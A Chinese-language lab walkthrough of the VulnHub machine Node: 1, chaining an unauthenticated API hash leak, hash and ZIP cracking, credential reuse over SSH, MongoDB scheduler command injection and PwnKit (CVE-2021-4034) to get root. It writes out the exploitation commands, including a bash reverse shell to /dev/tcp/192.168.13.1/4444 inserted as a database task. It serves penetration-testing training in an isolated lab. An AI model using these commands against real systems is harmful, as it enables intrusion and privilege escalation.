Node: 1 完整攻略:從 AngularJS API 洩漏,一路串到 PwnKit
連結:https://www.vulnhub.com/entry/node-1,252/
靶機:Node: 1(VulnHub,作者 rastating,2017;HackTheBox 移植)
難度:Medium 環境:WSL2 Kali + VMware
前言:一條橫跨十二個環節的攻擊鏈
Node 是一台罕見地把「一次完整滲透該有的每個面向」都塞進去的靶機,從一個未授權的 REST API,一路串到 kernel/pkexec 提權,中間經過資料過度暴露、hash 破解、加密 ZIP、白箱審計、憑證重用、SSH 橫向、NoSQL 命令注入、SUID binary 逆向 —— 幾乎是一份滲透測試的縮影。
這篇完整記錄這條鏈,包括最後那個卡了很久的 SUID binary 命令注入(intended path,因 access() 檢查刁鑽而未打通),以及最終改走的 PwnKit。
完整 Kill Chain:(有劇透,可先跳過)
- 環境(VMware 的 ens33 對上靶機介面名,救回這台)
- Recon → port 3000 AngularJS SPA
- 讀前端 JS controller 挖出後端 API 地圖
- 未授權
GET /api/users洩漏全部使用者 + admin hash - hashcat 破 SHA-256 → admin 憑證
- admin 登入 →
GET /api/admin/backup下載加密備份 - 破 ZIP 密碼 → app 原始碼
- 白箱審計 → MongoDB 憑證
- DB 密碼重用 SSH → mark
/var/schedulerNoSQL 命令注入 → tom- PwnKit(CVE-2021-4034)→ root
0. 環境:VMware 為何救回這台
這台原本卡在虛擬化環境(另有專文),簡述:在 WSL2 裡用 libvirt/KVM 跑時,靶機(Ubuntu 16.04,Debian 系)的 /etc/network/interfaces 綁死 ens33(VMware 慣用介面名),而 libvirt 的 e1000 給的是 enp0s3,對不上 → 靶機拿不到 IP。
改用 VMware 匯入後(OVF 不合規時按 Retry 放寬檢查即可),VMware 給的網卡剛好命名為 ens33,正好對上靶機的 interfaces → 拿到 IP。加上 WSL2 這次有路由能到 VMware 的 Host-only 網段(VMnet1, 192.168.13.0/24),WSL 的 nmap 直接掃得到靶機 192.168.13.128。
1. Recon
sudo nmap -p- -sV -sC 192.168.13.128
| Port | 服務 | 備註 |
|---|---|---|
| 22 | OpenSSH 7.2p2 Ubuntu | Ubuntu 16.04 |
| 3000 | Node.js(nmap 誤判為 Hadoop) | AngularJS SPA "MyPlace" |
port 3000 首頁是 AngularJS 單頁應用(ng-app="myplace"、data-ng-view)。SPA 的攻擊面在後端 API,而前端載入了一堆 controller:
<script src="assets/js/app/app.js">
<script src="assets/js/app/controllers/login.js">
<script src="assets/js/app/controllers/admin.js">
<script src="assets/js/app/controllers/profile.js">
2. 讀前端 JS,挖出後端 API 地圖
打 SPA 的核心心法:前端 JS 就是後端 API 的說明書,不用猜路由,直接讀 controller:
curl -s http://192.168.13.128:3000/assets/js/app/app.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/admin.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/profile.js
挖出的 API endpoint:
POST /api/session/authenticate 登入
GET /api/session 檢查登入狀態
GET /api/admin/backup 管理員備份(AdminCtrl)
GET /api/users/:username 取單一使用者(ProfileCtrl)
GET /api/users/latest 最新使用者列表(HomeCtrl)
3. 未授權 API 洩漏所有使用者 + hash
HomeCtrl 首頁未登入就呼叫 /api/users/latest,回傳含密碼 hash 的完整使用者物件(過度暴露資料):
curl -s http://192.168.13.128:3000/api/users/latest
但 latest 只回三個 is_admin:false 的使用者,漏了 admin,關鍵一步:拿掉 /latest 直接打 /api/users,回傳全部使用者(更嚴重的未授權洩漏):
curl -s http://192.168.13.128:3000/api/users
admin 現形:
{"username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}
4. 破解 hash
64 字元 hex = SHA-256(無鹽),WSL2 的 hashcat 找不到 CUDA GPU,改用 CPU(-D 1):
hashcat -m 1400 -D 1 hashes.txt /usr/share/wordlists/rockyou.txt
破出:
tom : spongebob
mark : snowflake
myP14ceAdm1nAcc0uNT : manchester
(SSH 重用測試:這幾組 web 密碼都不是系統帳號密碼,su/ssh 皆失敗。)
5. 下載並解開加密備份
用 admin 登入拿 session,打 /api/admin/backup:
curl -s -c admin_cookies.txt -X POST http://192.168.13.128:3000/api/session/authenticate \
-H "Content-Type: application/json" \
-d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}'
curl -s -b admin_cookies.txt http://192.168.13.128:3000/api/admin/backup -o myplace.b64
回傳是 Base64 的加密 ZIP,解碼 + 破 ZIP 密碼:
base64 -d myplace.b64 > myplace.backup
file myplace.backup # Zip archive(加密)
# 破密碼:先試已知密碼重用,再 zip2john + john
unzip -P magicword myplace.backup -d myplace_src
ZIP 密碼是 magicword(後來從 backup binary 逆向也證實)。
6. 白箱審計拿到 MongoDB 憑證
解開的 app 原始碼 app.js 洩漏兩個關鍵:
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace...'; // DB 憑證!
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]); // 備份呼叫自訂 SUID binary
mark:5AYRft73VtFpc84k 是 MongoDB 的 mark 密碼(跟 web 的 mark 密碼 snowflake 不同)。
7. DB 密碼重用 SSH → 系統立足點
開發者常讓 DB 帳號密碼 = 系統帳號密碼。 用 DB 的 mark 密碼試 SSH:
ssh [email protected] # 密碼:5AYRft73VtFpc84k
成功,拿到 mark@node 系統 shell。
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ sudo -l
# mark may not run sudo
8. NoSQL 命令注入橫向 → tom
ps aux 揭露一個以 tom 身分跑的排程器:
tom /usr/bin/node /var/scheduler/app.js
讀它的原始碼(world-readable):
const exec = require('child_process').exec;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler...'; // 你有這憑證!
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
docs.forEach(function (doc) {
exec(doc.cmd); // 直接 exec DB 裡的 cmd,零過濾!
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
});
});
}, 30000); // 每 30 秒
攻擊鏈: scheduler 以 tom 跑,每 30 秒從 MongoDB 的 scheduler 資料庫讀 task 並 exec(doc.cmd),而你有這個 DB 的憑證 → 插入惡意 task,30 秒內 scheduler 以 tom 執行。
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
> db.tasks.insert({ cmd: "bash -c 'bash -i >& /dev/tcp/192.168.13.1/4444 0>&1'" })
網路細節:靶機(VMware)回連的來源是 Windows 的 VMnet1 位址 192.168.13.1,所以 reverse shell 的 listener 開在 Windows PowerShell(而非 WSL),才收得到。30 秒後 tom shell 彈回。
tom@node:/$ groups
tom adm cdrom sudo dip plugdev lxd lpadmin sambashare admin
tom 在 admin group(能執行下面的 SUID binary),也在 sudo group(但無密碼,sudo 走不通)。
9. 改走 PwnKit(CVE-2021-4034)→ root
走不依賴該 binary 的可靠路 —— PwnKit,這台條件極佳:
uname -a # Linux node 4.4.0-93-generic Ubuntu 16.04
ls -la /usr/bin/pkexec # -rwsr-xr-x(SUID root,2016 版,未修 2022 的 CVE)
which gcc cc # 都有(可直接在靶機編譯)
PwnKit 原理(pkexec 的 argv 越界 + GCONV_PATH 載入惡意 gconv module,詳見 Temple of Doom 篇),因這台有 gcc,直接用現成 C PoC(berdav/CVE-2021-4034),一個 make 搞定。
傳檔(靶機無法外連): 用 scp 走 SSH 通道(繞過 http server 的 WSL/Windows 位址問題):
# WSL(有 clone 好的 exploit)
scp /tmp/pwnkit.tar.gz [email protected]:/tmp/
編譯執行(家目錄與 /tmp 均受限,用 /dev/shm):
mkdir -p /dev/shm/pwn
tar xzf /tmp/pwnkit.tar.gz -C /dev/shm/pwn
cd /dev/shm/pwn/CVE-2021-4034
make
./cve-2021-4034
結果:
# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt
Redacted帶得走的方法論
- 打 AngularJS/SPA:前端 JS controller 就是後端 API 的說明書,直接讀它挖 endpoint,不用盲爆路由。
- API 資料過度暴露:
/api/users未授權回傳含 hash 的完整物件;試「拿掉路徑修飾(latest)」常能撈到更多(全部使用者)。 - 憑證接力的層次:web hash → 破解 → 加密備份 → ZIP 密碼 → 白箱審計出的 DB 憑證 → SSH 重用,每一層的憑證可能重用到下一層,也可能不重用(web 密碼沒重用系統,但 DB 密碼重用了 SSH)。
- 白箱審計優先於盲打:拿到原始碼後,讀
app.js找 DB 連線、SUID 呼叫、secret,比黑箱猜快得多。 - NoSQL/scheduler 命令注入:
exec(doc.cmd)從資料庫讀命令執行 + 你有 DB 憑證 = 以該服務身分任意命令執行,找「以高權限使用者跑、且從你能控制的來源讀輸入」的服務。 - 傳檔與可寫目錄:靶機無法外連時用 scp 走 SSH 通道;家目錄/tmp 受限時用
/dev/shm(tmpfs,通常 777)編譯執行。
本文為 Node: 1 靶機的教學型 writeup,所有操作皆在本機隔離環境進行,切勿對未授權的系統進行任何測試。
Member discussion